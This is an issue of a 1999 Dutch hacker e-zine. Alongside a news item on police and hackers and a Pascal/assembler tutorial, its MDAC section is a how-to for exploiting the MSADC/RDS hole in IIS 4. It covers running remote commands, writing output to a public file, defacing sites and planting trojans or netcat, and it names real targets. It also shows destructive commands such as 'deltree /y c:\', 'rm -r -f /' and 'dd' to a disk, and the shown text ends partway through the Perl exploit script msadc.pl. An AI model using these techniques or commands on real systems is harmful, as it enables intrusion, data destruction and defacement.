___ ___ _____ ___ ___ / | \ / | | / | \ / ~ \/ | |_/ ~ \ \ Y / ^ /\ Y / \___|_ /\____ | \___|_ / \/ |__| \/ +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+-+ |h|a|c|k|e|r|s| |4| |h|a|c|k|e|r|s| |0|4,5| +-+-+-+-+-+-+-+ +-+ +-+-+-+-+-+-+-+-+-+-+-+ http://www.hackers4hackers.org '02-11-1999' Om je aan te melden bij de maillijst kan je een mailtje sturen naar subscribe@hackers4hackers.org met als titel "subscribe h4h emailadres" Of je kan je online aanmelden op http://www.hackers4hackers.org Artikelen en dergelijke kun je mailen naar post@hackers4hackers.org Vragen kun je mailen naar de desbetreffende auteur of ook naar post@hackers4hackers.org Enkele interessante sites: http://itris.eu.org http://www.dutchthreat.nl http://security.pine.nl http://www.hit2000.org http://hier.is/Triples http://www.casema.net/~gin 01. Disclaimer....................................... (Redaktie) 02. Inleiding........................................ (Redaktie) 03. Politie zinspeelt op arrestaties cybercriminelen. (Redaktie) 04. MDAC............................................. (Scrippie) 05. Programmeren in Pascal 3......................... (RaViTy) --------------- 01. Disclaimer --------------- We zijn niet verantwoordelijk voor datgene wat jullie met deze informatie doen. Deze informatie dient alleen voor educationele doeleinden. Als je in problemen komt, kan je ons niks verwijten. Gebruik maken van deze informatie kan strafbaar zijn. Meningen van auteurs hoeven niet hetzelfde te zijn als die van de redactie. -------------- 02. Inleiding -------------- He, een 4,5 zie ik jullie al denken, hoezo dat?? Dit omdat er na het releasen van H4H-04 wat interessant nieuws is op het gebied van het Hackers gebied. Tevens hebben we nog een aantal artikelen toegevoegd... speciaal voor degene die zaten te wachten op de Pascal cursus, hier is ie dan... We wensen iedereen veel leesplezier toe en mochten er op of aan- merkingen zijn, surf dan even naar onze website en vul het in bij commentaar. De redactie ----------------------------------------------------- 03. Politie zinspeelt op arrestaties cybercriminelen ----------------------------------------------------- De politie in Nederland is een aantal gevallen van criminaliteit op het spoor waarop ze naar verwachting binnenkort met arrestaties zal reageren. Een groot dilemma voor de politie betreft de vraag wat ze met de haar bekende krakers van websites en databanken moet aanvangen. Uit betrouwbare bron bij de politie zelf vernam Planet Multimedia dat er een aantal 'flinke zaken' in behandeling is waarbij Internet een hoofdrol speelt. Het gaat om inbraken met ontvreemding van onder meer creditcardgegevens. De politie is inmiddels vaardig in het nagaan van sporen die cybercriminelen achterlaten. De bewijslast is langzamerhand zodanig dat arrestaties mogelijk zijn. Krakers te vriend houden Een dilemma voor de politie is het vaststellen van de grens tussen goed en kwaad. Onder de Wet computercriminaliteit is een poging tot inbraak reeds een misdrijf. Die wet is echter niet meer van deze tijd, wat bijvoorbeeld door de Hoge Raad in Noorwegen is erkend: het openbaren van beveiligingslekken is niet langer een misdrijf als aan bepaalde voorwaarden wordt voldaan. Hierdoor kunnen krakers legaal de maatschappij en politie helpen bij het bewaren van de veiligheid met pogingen om in te breken. Nederlandse hackersorganisaties, waarvan Hit2000 de belangrijkste oorsprong vormt, hanteren een code waarbij het niet toegestaan is om gegevens te verminken of te stelen. De uitvoering van het kraken volgens die code is echter niet te controleren door betrokkenen zelf, wellicht vaak evenmin door de politie. De politie kan nauwelijks zonder de tips van hackers, maar begeeft zich op glad ijs als ze zich afhankelijk maakt van wat theoretisch beschouwd criminelen zijn. De schrik van de IRT-affaire zit er goed in bij de politie. Grote kraak ABP Een van de zaken die speelt is een grote kraak in de databanken van ABP, het grootste pensioenfonds in Nederland. De gegevens van miljoenen pensioengerechtigden lagen, aldus de hackers, voor het grijpen. Uiteraard zijn ze er vanaf gebleven, maar de redactie van Planet Multimedia kreeg wel een stukje bewijs in handen. Het gaat om gevoelige gegevens. Een van de hackers, telefonisch: 'Met de gegevens kun je je niet enkel heel gemakkelijk online uitgeven voor die persoon, maar ook telefonisch en zelfs voor loketten. Het is niet goed te praten dat de ABP de gegevens niet goed beschermde.' Deze kraak is al weer van enige tijd geleden, evenals eentje bij Sudtours, waar het mogelijk bleek om reizen te boeken op andermans naam en met andermans gegevens. De kraker: 'Op zich gaat het onder ons om vrij onschuldige zaken, maar voor kwaadwillenden zijn er interessante mogelijkheden om via Internet waardevolle gegevens in handen te krijgen. Dat weet de politie ook, en ik denk dat ze inderdaad een keer tot arrestaties over zullen gaan, ook om een daad te stellen.' (Bron: http://www.planet.nl/multimedia/1999/0211/g.shtml) --------- 04. MDAC --------- (msadc.pl staat onderaan alle artikelen en is te downloaden op de website) * Hoe gebruik ik mdac.pl? Ah, deze vraag is (voor de verandering) niet zo stupide als hij lijkt, daar het gebruiken van mdac wat lastiger is dan het gebruiken van andere kant en klare hack programma's. Het eerste dat gezegd dient te worden is dat mdac.pl zeker niet zo vaak werkt als Russ Cooper (100% van alle IIS 4 servers - D0h) en Greg Gonzales (50% - nog steeds een erg positieve schatting) claimden. De sploit werkt op het moment dat het doelwit het MDAC 1.5 pakket heeft geinstalleerd en daarnaast http:///msadc/msadcs.dll publiekelijk toegankelijk is. Helaas ben ik persoonlijk niet veel servers tegengekomen waarbij dit het geval was. Wel moet ik zeggen dat de servers die kwetsbaar waren voor deze aanval hosting servers waren van grote netwerken of "hoge status" sites. Hierbij noem ik onder andere een betrekkelijk groot aantal sites van de NASA (overdreven veel IIS machines), enkele NT hosting machines van WXS, Compuserve en anderen. Het grootste probleem bij het gebruik van mdac is dat we een NT commando als input geven maar de output niet te zien krijgen. Zo zal bijvoorbeeld het typen van "dir" erin resulteren dat ons doelwit het "dir" commando uitvoert maar sinds we de output niet krijgen te zien is dit commando niet nuttig voor ons. Gelukkigerwijs staat Windows het ons toe om de output van een programma te verwijzen naar een file mbv. de karakter sequenties ">" en ">>". Indien we ">" gebruiken zal het doelbestand overschreven worden en bij het gebruik van ">>" wordt de output aan het einde van het doelbestand toegevoegd. (Ik weet dat dit allemaal wel erg basale kennis is, maar goed, dit is een FAQ en het gehalte stompzinnige vragen dat een mens te verwerken krijgt is enorm. Vandaar dit streven naar completie. Als er overigens iemand is die me kan vertellen hoe ervoor gezorgd kan worden dat NT zijn output van stderr ipv. stdout naar een file kan verwijzen ben ik hem dankbaar. Nu, we verwijzen dus gewoon de output van een commando naar een file die op de server met behulp van de browser toegankelijk is en we zijn klaar. Maar wacht, als we de output willen verwijzen naar een file die we via de HTTP op kunnen pikken moeten we de absolute locatie van de virtuele root directory van IIS weten. (ie. www.foobar.com/scripts is niet afdoende - we hebben iets als D:\InetPub\wwwroot\scripts nodig om naar te verwijzen). We kunnen de heer BG weer dankbaar zijn voor het aanvoeren van een prima oplossing voor dit probleem - de .idc bug. Door een non-existente path op te geven naar een file met de extentie .idc zal IIS ons de absolute plek van de non-existente file tonen. Het opgeven van: www.foobar.com/wizard/default.asp.idc zal ons de volgende fout melding geven: The query file E:\opt2\http\WskProd\wizard\default.asp.idc could not be opened. The file may not exist or you may have insufficient permission to open the file. Nu weten we naar welke directory we de output kunnen verwijzen! Ergo, we gebruiken nu: "dir > E:\opt2\http\WskProd\wizard\output.txt" ipv. kortweg "dir" en doen iets als "lynx www.foobar.com/wizard/output.txt" om de output van ons commando te zien. Oh, er blijkt een kleine fout te zitten in de broncode van mdac (ofwel gewoon een programmeer fout, ofwel een met opzet geplaatste "fout" van rfp om scriptkiddies de pas af te snijden. Het programma schijnt te kijken of een HTTP server IIS 4.0 is of niet. Dit is een regel code die niet werkt en nogal nutteloos is - een server die kwetsbaar is voor onze sploit zal sowieso IIS 4.0 draaien en er zijn zat IIS 4.0 servers die geen mdac hebben. Ter extra informatie: mdac2 is uitgekomen voordat dit artikel af was - deze versie is bruikbaar zonder dat hij gepatched dient te worden. Ik ben niet van plan de extra "features" die mdac2 ons biedt hier te bespreken. * Hey wacht, hoe deface ik een website met mdac? Echo is uw bondgenoot... Helaas laat Windows NT ons niet toe speciale karakters als ">" of "<" te escapen zoals onder Linux wel mogelijk is. Dit is nogal zonde, want elke vorm van een decente homepage heeft HTML nodig en HTML werkt jammergenoeg weer met tags die een overdosis aan deze karakters bevatten. Dit betekend dat we een site alleen kunnen defacen met plain text. Nah, dat is niks. We zullen een trojan of netcat of iets dergelijks dat ons toe laat op de server zonder al te veel moeilijkheden moeten installeren. Het enige probleem is hoe we iets zoals dit gaan doen - de FTP client van windows werkt interactief en een van de dingen die we NIET kunnen is interactief werken, of toch wel? De Windows FTP client voorziet ons van een optie om niet-interactief te kunnen werken dmv. een voorgedefinieerd FTP script welke de lijst bevat die de FTP client zal uitvoeren nadat deze met de juiste parameter is gestart en connectie gemaakt heeft. Dus echo-en we een mooi FTP script in elkaar op de server en gebruiken nu een FTP command line om onze favoriete trojan (Bo?) of onze favoriete en veel gebruikte TCP/IP zwitsers legermes te uploaden. Een FTP script bij elkaar echo-en en FTP starten om onze favoriete tool up te loaden moet natuurlijk ook mogelijk zijn zonder maar enige vorm van output te zien. Maar het te zien krijgen van onze output is een goede manier om te beoordelen of mdac.pl werkt en het MDAC pakket niet gepatched is. De repair sam in een publieke directory zetten en cracken is ook een goed idee, omdat we hierna prima in staat zijn de WinNT ftp server op te starten met wat net commando's. Administrator paswoord wijzigen is natuurlijk weer erg hard, maar zeker ook effectief wijzigen is natuurlijk weer erg hard, maar zeker ook effectief. Om een compleet voorbeeld te geven: scrippie:~# perl -x ~/mdac.pl -h www.f00b4r.c0m -- RDS exploit by rain forest puppy / ADM / Wiretrip -- Please type the NT commandline you want to run (cmd /c assumed): cmd /c tlist > E:\opt2\http\WskProd\wizard\foorbar.txt Step 1: Trying raw driver to btcustmr.mdb winnt -> c: Success! (Of voor de malicieuze crackertjes onder ons: I_AM_LAME_AND_MALICIOUS:~# perl -x ~/mdac.pl -h www.windesheim.nl -- RDS exploit by rain forest puppy / ADM / Wiretrip -- Please type the NT commandline you want to run (cmd /c assumed): cmd /c deltree /y c:\ Step 1: Trying raw driver to btcustmr.mdb winnt -> c: Success! Vergeet niet als de server hierna nog draait even D: en E: mee te nemen.) Nu doen we: scrippie:~# lynx www.f00b4r.c0m/wizard/foobar.txt En daar zijn we - een task list (mits het juiste service pack op de machiene staat dat is) - en beter nog, we weten dat deze bak kwetsbaar is. * Hey, wacht es, die .idc bug werkt helemaal niet en ik wil de output van mijn commando's zien! Gelukkig heeft de RDS exploit zelf nog een manier bij de hand om informatie te verzamelen aangaande de directory structuur van de server - de mogelijkheid om de server index tabel te 'dumpen'. De reden dat ik de .idc fout eerst besproken heb is omdat deze vele malen sneller werkt dan de hele index tabel van de server te dumpen - zeker als het om een grote file gaat. De index server dump kan als volgt verkregen worden: perl -x ~/mdac.pl -X -h mail.big-brother.nl Zoek hier even de directory in terug die de belangstelling heeft. (En JA, BB is al gepatched, ondanks dat je zo'n mooie dump krijgt... :-) * Ik kan de index tabel niet dumpen en ook .idc breng geen uitkomst! Probeer de standaard NT directories waar de homepages zich bevinden: C:\InetPub\wwwroot\ D:\InetPub\wwwroot\ E:\InetPub\wwwroot\ Vele variaties mogelijk tot het U gaat irriteren. Als jullie een andere manier vinden om het absolute pad van de virtuele root directory van IIS te achterhalen - laat het me weten. * Vertel meer over mdac.pl Nah, als je het nu nog niet snapt kan je beter iets anders gaan doen met je vrije tijd dan hacken - lap de ramen van moeder eens ofzo. - L4m3rZ Z3ntR4l * Ik wil bakken op een LAN verneuken - help me Koop een hamer. * Hoe hack ik met telnet? Probeer eens: "telnet ; rm -r -f /" * Duh, ik weet al wat rm -rf / doet met mijn Linux partitie - geef aub serieus antwoord op mijn telnet vraag! Okay, sorry, foutje van me... Gebruik "telnet ; dd if=/dev/urandom of=/dev/hda" * Cheers! Wat doet dd? Dit commando geeft je de mogelijkheid te hacken met telnet... * Wat is je favoriete Denial of Service aanval? Een grote vrachtwagen parkeren middenin de enige straat naar het parkeerterrein van het winkelcentrum bij ons thuis. ------------------------------------------------------------------------------- Aan hen die mijn private exploits op publieke hackers kanalen roepen: - STERFT ----------------------------- 05. Programmeren in Pascal 3 ----------------------------- - = Programmeren in Pascal = - Door: RaViTy / HaVeN 1. Introductie 2. Schrijven of lezen van poorten (1) 3. Assembler - Inleiding - Hexadecimaal - Registers - Segmenten en offsets - Waarden toekennen aan registers - Rekenfuncties - Het schrijven of lezen van poorten (2 In assembler) INTRODUCTIE Eej! Het is dat Zer0 Vince vandaag op school vroeg waar de volgende tutor bleef. Ik was jullie al weer helemaal vergeten. Tja, alles ging mij voor de wind sinds Zer0 Vince op vakantie was, dus dan denk je niet meer aan de hackertjes ;) Maar goed ff terzake, ik wist natuurlijk niet meer waar ik gebleven was met bullshit vertellen, dus begin ik gewoon maar ergens mee. Overigens is het mij opgevallen dat onder Windows (ja Windows) de ASCII tekens wegvallen. :( Dus lees h4h maar lekker in DOS ofzo. OK, nou even over het programmeren. Borland Pascal (tot en met versie 7) en Turbo Pascal zuigen! Dit heb ik al lang ondervonden, en de ervaren programmeurs van hack-programma's ook. 16 bit is NIET cool, niet snel en niet effecient. Je kunt om deze bugs heenwerken, maar helaas moet je dan heel veel hardcore-assembler schrijven en daar heeft niemand zin in. Daarom raad ik jullie aan om in BP en TP te schrijven, omdat de interface zo bot is, en TMT-Pascal te gebruiken voor het compileren. (www.tmt.com) TMT pascal is 32 bit en heeft Windows, Linux en Unix ondersteuning. Bovendien programmeer je dan Protected mode. 2. SCHRIJVEN OF LEZEN VAN POORTEN Nou wordt het voor hackers pas echt interessant, want communiceren via seriele (COM) en paralelle poorten is wat een hacker graag doet. Je kunt een poort checken door er een bericht naar te sturen. Dit doe je zo: PORT[poortnummer]:=waarde; Hier is poortnummer het nummer van het apparaat wat je aan wilt sturen, en waarde is het nummer van het berichtje dat je wilt sturen. Als je de waarde wilt lezen doe je dit natuurlijk andersom: waarde:=PORT[poortnummer]; Als je de invoer van het toetsenbord (poortnummer $60) wilt lezen dan kun je dit doen: repeat .. { Hier staat jouw bullshit } until port[$60]=1; {1 staat voor de escape-toets } Dit was even een hele simpele en globale uitleg van het schrijven en lezen van poorten, want die heb je nog vaak nodig. 3. ASSEMBLER Oh jee... Hier komt het, hetgene waar alle beginnende programmeurs bang voor zijn: ASSEMBLER. Ik zal proberen het uit te leggen, want assembler is helemaal niet moeilijk, maar de eerste stappen kunnen zwaar zijn. Als je in je programma assembler op wilt nemen kun je dit op twee manieren doen: intern en extern. Ik behandel alleen interne assembler, want anders moet ik ook nog eens uitleggen hoe TASM werkt, en daar heb ik nu geen zin in. Misschien later nog een keer. - Ok, hoe kan ik assembler invoegen? Dit is heel simpel, het werkt net zo als "begin .. end" maar nu is het "asm .. end". Simpel he? Bijvoorbeeld: asm mov ax, 13h int 10h end; Sommigen van jullie zullen misschien wel weten wat dit doet. Hiermee krijg je toegang tot een grafische modus, mode 13h genaamd. De beeldresolutie is 320x200 en je mag tot maximaal 256 kleuren samenstellen uit rood, groen en blauw. Ingewikkeld? Maakt niet uit, je zult het waarschijnlijk nooit snappen ;) Eem voordeel van assembler is dat het de processor op hardware niveau aanstuurt. Nog een voordeel is dat alles wat je niet kan doen met standaard pascal wel in assembler kan doen. Een nadeel is dat interrupts best ingewikkeld zijn, assembler is gewoon een onverklaarbare taal. Als ik dus een vraag hoor van "waarom is dat?" dan geef ik als antwoord "Dat is gewoon zo". HEXADECIMAAL Geen probleem, dit is gewoon een andere manier van tellen. In plaats van 0 tot 10 tel je in het hexadecimaal van 0 tot F (eigenlijk van 0 tot 15 is dus 16). 0123456789ABCDEF Je kunt gemakkelijk een hexadecimaal getal omrekenen naar een 'gewoon' getal. Neem bijvoorbeeld 13h: 13h = 1 x 16 + 3 = 19 Oftewel: Hexadecimaal = eerste letter van het hexa-getal + de rest. Nog een voorbeeld 0Fh: 0Fh = 0 x 16 + F = 16 { Let op: F = 16 } Ik vertelde dit alleen maar omdat assembler om het hexadecimale stelsel draait. Hoe je in bits en bytes moet tellen hoor je al lang te weten. - REGISTERS Registers kun je zien als variabele met een vaste naam. Je kunt net als in een variabele een waarde opslaan. Je hebt verschillende soorten registers. Je hebt reken-registers en registers met een speciale functie. Helaas zijn de registers anders, voor elke processor. Je hebt (vooral) 16-bit en 32-bit registers. Ik behandel de 16-bit registers, omdat die toch ongeveer hetzelfde werken als de 32-bits registers. Even een rijtje registers: AX 16-bit reken-register, het bestaat uit AL en AH AX = AL + AH AL is de LoValue en AH de HiValue. BX 16-bit reken-register, het bestaat uit BL en BH BX = BL + BH bx kan een speciale functie hebben! CX 16-bit reken-register, het bestaat uit CL en CH DX 16-bit reken-register, kan speciale functie hebben! Dat Hi en Lo geld natuurlijk voor alle reken-registers. Dit waren er maar een paar ;) In registers kun je helaas alleen maar hele getallen in opslaan. Dus als je een real of floating point getal wilt opslaan moet je het deel voor- en achter de komma opslaan in aparte registers :( - SEGMENTEN EN OFFSETS Dit schijnt een moeilijk geval te zijn, maar ik vond het gemakkelijk. Omdat boeken veel te veel informatie tegelijk geven raak je door de bomen het bos wel eens kwijt. Daarom blijf ik heel beknopt in de hoop dat jullie het snappen. Segmenten: In elke programmeertaal heb je wel met segmenten temaken. Soms zijn ze goed verstopt, en de beginnende programmeur ziet ze niet. Dit is zo het geval bij pascal en c++. Als je een programma maakt werk je eigenlijk in drie delen (segmenten). Ik teken het hieronder even uit: ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º STACK º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º DATA º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º CODE º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Het code-segment is het gemakkelijkst, iedereen heeft deze immers al gebruikt, misschien zonder ze dat zelf wisten. Hier staan namelijk alle instructies, zoals writeln. Het data-segment heeft ook iedereen gebruikt (als het goed is). Dit is namelijk de plek waar je je variabelen benoemd. "var getal:integer;" bijvoorbeeld, dit soort instructies wordt opgeslagen in het data-segment. Het stack-segment is misschien nieuw voor de meesten. Dit is namelijk de plek waar je geheugen kunt reserveren. De meeste C/C++/Pascal programmeurs houden zich h 1a2c ier niet mee bezig, omdat de reedsgenoemde programmeertalen het geheugen zelf reserveren. Je kunt in pascal de stack wel wijzigen met compilerdirectives. {$M} is hiervan een voorbeeld. In assembler moet je met al deze segmenten rekening houden, want 1 foutje kan fataal zijn. Ik kan het weten, want ik heb al een monitor opgeblazen door met het CRCT register te klooien. Hiermee maakte ik de beeldresolutie 'iets' te hoog (zeg maar 3200x2000) en dat vond mijn beeldscherm niet leuk. Maar goed, als jullie nou maar van dat register afblijven dan is er niks aan de hand, je computer loopt hoogstens vast. Sinds de 80286 processoren (dacht ik) heb je een extra segment tot je beschikking: Het extra segment ES. Hierin kun je tijdelijk waarden in opslaan. - OFFSETS Offsets zijn plaatsen in een segment. Ik zal met een tekening proberen het een en ander duidelijk te maken: ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º0123>56789 DATA º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Hierboven zie je het data-segment. De offset heb ik aangegeven met een pijltje ( > ). Een offset is dus niks anders dan een plaats in het geheugen (of data-segment). Ik maak even een leuk verhaaltje eromheen: Stel je hebt een telefoonboek. Het telefoonboek is het segment. Het telefoonboek-segment. Nu wil ik een telefoon-nummer opzoeken. Ik weet alleen hoe die kerel (of dat meisje) heet, en waar hij woont. Nu is het niet efficient om vanaf het begin van het telefoonboek alle nummers na te gaan. Dat kost immers teveel tijd. Aangezien je weet dat HIJ in Schijndel woont, of ZIJ in Dinther kun je beter bij Schijndel, of Dinther kijken dan beginnen bij Den Bosh en zo langzaam verder. Schijndel-Dinther is nu de offset. De plaats in het telefoonboek. Ik hoop dat het nu duidelijk is ;) Overigens heb ik op TakeOver '99, een soort underground multimedia party, flyers gezien van #hit2000, je kon niet missen, iedereen gooide ze weg en de hele hal lag onder de #hit2000 en de Contour/TBL flyers :) -WAARDEN TOEKENNEN AAN REGISTERS Zoals ik reeds verteld heb zijn registers een soort statische variabele, soms met een bepaalde functie, waar je waarden in kan 'storten'. Stel je voor dat je aan register AX de waarde 13h wilt geven, in pascal zou je ongeveer zo doen: AX:=13h; Maar in assembler moet dat zo mov ax, 13h Je noemt dus eerst de naam van het register, dan schrijf de een komma, en daarna geef je de waarde die je in het register op wilt slaan. mov ax, 13h { ax:=13h } mov bx, ax { bx:=ax } REKENFUNCTIES Een groot voordeel van assembler voor demo/spellen-programmeurs (zoals ik) is de snelheid waarmee het informatie verwerkt. Als je AX zou willen optellen bij BX krijg je in pascal "BX:=BX+AX" of "INC(BX,AX);" maar in assembler gebruik je ADD: asm mov ax, 2 mov bx, 5 add bx, ax end; Hier is ax=2 en bx=5, en gebruik ik ADD om op te tellen. De oplossing wordt in het eerstgenoemde register na ADD opgeslagen, hier dus BX. BX bevat nu de waarde 7. Als je bij AX ‚‚n zou willen optellen dan gebruik je INC: asm mov ax, 2 inc ax end; Hieronder zijn nog een paar rekenfuncties: - INC increase ofwel "vermeerderen" - DEC decrease ofwel "verminderen" - MUL multiply ofwel "vermenigvuldigen" - DIV divide ofwel "delen" De andere functies kun je zelf maken met deze functies. Stel dat je Quake 3: arena ging namaken in pascal, dan moet je ten eerste 32-bit code gebruiken, maar je moet ook optimaliseren. Dat wil zeggen dat je zo min mogelijk instructies gebruikt, en mogelijk de snelste functies. Vooral MUL en DIV zijn langzaam, hier zijn betere manieren voor. Als je iets wilt vermenigvuldigen, gebruik dan SHL en SHR, oftewel, Shift- Left en Shift-Right. Schuiven dus. SHL is vermenigvuldigen en SHR is delen, maar hier schuilt een addertje onder het gras: Stel je wilt AX vermenigvuldigen met 128 dan doe jij "mul ax, 128" (of was het imul?) AAAARRGGHHH... Dat moet je niet doen! Doe dit: "shl ax, 7" Want: SHL ax, 7 betekend ax*2*2*2*2*2*2*2; oftewel 2 tot de zevende. SHL ax, 4 betekend ax*2*2*2*2; oftewel 2 tot de vierde. (let op het aantal 2-'tjes SHL 7 zijn dus zeven 2-'tjes) Maar, ik hoor jullie al denken, stel ik wil de waarde 320. Ik kan toch nooit een getal tot de tweede doen en dan 320 krijgen? Want SHL 8 (=256) is te laag, en SHL 9 (=512) is weer te groot? Nou, doe niet moeilijk, dan doe je toch SHL 8 + SHL 6! Want, SHL (256) + SHL 6 (64) = 256+64 = 320. Viola! Simpel toch? SHR werkt gewoon hetzelfde. - HET SCHRIJVEN OF LEZEN VAN POORTEN IN ASSEMBLER Ah.. Heerlijk al dat assembler :) Ik probeer in deze tutorial nog even de puntjes op de i te zitten, zodat de nephackertjes nu rustig de source-code van BO2 kunnen ontcijferen. Er wordt namelijk in dat soort programma's vaak gebruik gemaakt van gewone 'PORT[poortnummer]:=waarde;' functies, maar in een 'onleesbaar' assembler-jasje. Stel dat je doet: Port[$3c8]:=kleur; In assembler wordt dit: asm mov dx, $3c8 mov al, kleur out dx, al end; In dit voorbeeld bewaar ik in register DX het poortnummer, en daarna in AL de variabele kleur. OUT = PORT[poortnummer]:=waarde; IN = Waarde:=PORT[poortnummer]; Dus andersom, ik wil juist een waarde ontvangen van poort DX in AL: asm mov dx, $3c7 in al, dx end; Hopla! Nu zit de waarde die in poortnummer $3c7 gevonden is in register AL. Leuk he? Fjew.. Dat is weer genoeg assembler voor deze keer. Er zullen natuurlijk ook een paar gevorderde assembler programmeurs dit gelezen hebben, die misschien zullen zeggen dat ik dingen als Stack niet precies volgens de regels uitleg, who cares? Ik probeer alleen maar alles duidelijk te maken, en soms maak je het onnodig moeilijk door al die officiele termen. Zeg als er vragen, opmerkingen, kritiek of suggesties zijn, Email ze even naar nkeetels@wishmail.net Ik sta open voor alle kritiek. Misschien heb je een suggestie voor toekomstige tutorials. Als er veel vragen van verschillende mensen op hetzelfde neer komen, kan ik er misschien een hele tutorial aan besteden. Op kleine vragen zal ik persoonlijk antwoord geven via Email. (vergeet het emailadres niet in te vullen) ------------------- msadc.pl -------------------- #!/usr/bin/perl # # MSADC/RDS 'usage' (aka exploit) script version 2 # # by rain forest puppy # # - added UNC support, really didn't clean up code, but oh well use Socket; use Getopt::Std; getopts("e:vd:h:XRVNwcu:s:", \%args); print "-- RDS smack v2 - rain forest puppy / ADM / wiretrip --\n"; if (!defined $args{h} && !defined $args{R}) { print qq~ Usage: msadc.pl -h { -d -X -v } -h = host you want to scan (ip or domain) -d = delay between calls, default 1 second -X = dump Index Server path table, if available -N = query VbBusObj for NetBIOS name -V = use VbBusObj instead of ActiveDataFactory -v = verbose -e = external dictionary file for step 5 -u <\\\\host\\share\\file> = use UNC file -w = Windows 95 instead of Windows NT -c = v1 compatibility (three step query) -s = run only step Or a -R will resume a (v2) command session ~; exit;} ########################################################### # config data @drives=("c","d","e","f","g","h"); @sysdirs=("winnt","winnt35","winnt351","win","windows"); # we want 'wicca' first, because if step 2 made the DSN, it's ready to go @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest"); # this is sparse, because I don't know of many @sysmdbs=( "\\catroot\\icatalog.mdb", "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\certmdb.mdb", "\\system32\\ias\\ias.mdb", "\\system32\\ias\dnary.mdb", "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "\\cfusion\\cfapps\\forums\\forums_.mdb", "\\cfusion\\cfapps\\forums\\data\\forums.mdb", "\\cfusion\\cfapps\\security\\realm_.mdb", "\\cfusion\\cfapps\\security\\data\\realm.mdb", "\\cfusion\\database\\cfexamples.mdb", "\\cfusion\\database\\cfsnippets.mdb", "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", "\\cfusion\\brighttiger\\database\\cleam.mdb", "\\cfusion\\database\\smpolicy.mdb", "\\cfusion\\database\cypress.mdb", "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "\\website\\cgi-win\\dbsample.mdb", "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ); #these are just \ ########################################################### $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; if (defined $args{v}) { $verbose=1; } else {$verbose=0;} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} if(!defined $args{R}){ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} if (!defined $args{R}){ $ret = &has_msadc; } if (defined $args{X}) { &hork_idx; exit; } if (defined $args{N}) { &get_name; exit; } if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";} if (defined $args{R}) { &load; exit; } print "Type the command line you want to run ($comm assumed):\n" . "$comm "; $in=; chomp $in; $command="$comm " . $in ; if (!defined $args{s} || $args{s}==1){ print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &try_btcustmr;} if (!defined $args{s} || $args{s}==2){ print "\nStep 2: Trying to make our own DSN..."; if (&make_dsn){ print "<>\n"; sleep(3); } else { print "<>\n"; }} # we need to sleep to let the server catchup if (!defined $args{s} || $args{s}==3){ print "\nStep 3: Trying known DSNs..."; &known_dsn;} if (!defined $args{s} || $args{s}==4){ print "\nStep 4: Trying known .mdbs..."; &known_mdb;} if (!defined $args{s} || $args{s}==5){ if (defined $args{u}){ print "\xStep 5: Trying UNC..."; &use_unc; } else { "\nNo -u; Step 5 skipped.\n"; }} if (!defined $args{s} || $args{s}==6){ if (defined $args{e}){ print "\nStep 6: Trying dictionary of DSN names..."; &dsn_dict; } else { "\nNo -e; Step 6 skipped.\n"; }} print "\n\nNo luck, guess you'll have to use a real hack, eh?\n"; exit; ############################################################################## sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,80,$target)){ open(OUT,">raw.out"); my @in; select(S); $|=1; print $pstr; while(){ print OUT $_; push @in, $_; print STDOUT "." if(defined $args{X});} close(OUT); select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); }} ############################################################################## sub make_header { # make the HTTP request my $aa, $bb; if (defined $args{V}){ $aa="VbBusObj.VbBusObjCls.GetRecordset"; $bb="2"; } else { $aa="AdvancedDataFactory.Query"; $bb="3";} $msadc=<Datasource creation successful<\/H2>/;}} } return 0;} ############################################################################## sub verify_exists { my ($page)=@_; my @results=sendraw("GET $page HTTP/1.0\n\n"); return $results[0];} ############################################################################## sub try_btcustmr { foreach $dir (@sysdirs) { print "$dir -> "; # fun status so you can see progress foreach $drive (@drives) { print "$drive: "; # ditto $reqlen=length( make_req(1,$drive,$dir) ) - 28; $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; my @results=sendraw(make_header() . make_req(1,$drive,$dir)); if (rdo_success(@results)){print "Success!\n"; save("dbq=".$drive.":\\".$dir."\\help\\iis\\htm\\tutorial\\btcustmr.mdb;"); exit;} else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ############################################################################## sub odbc_error { my 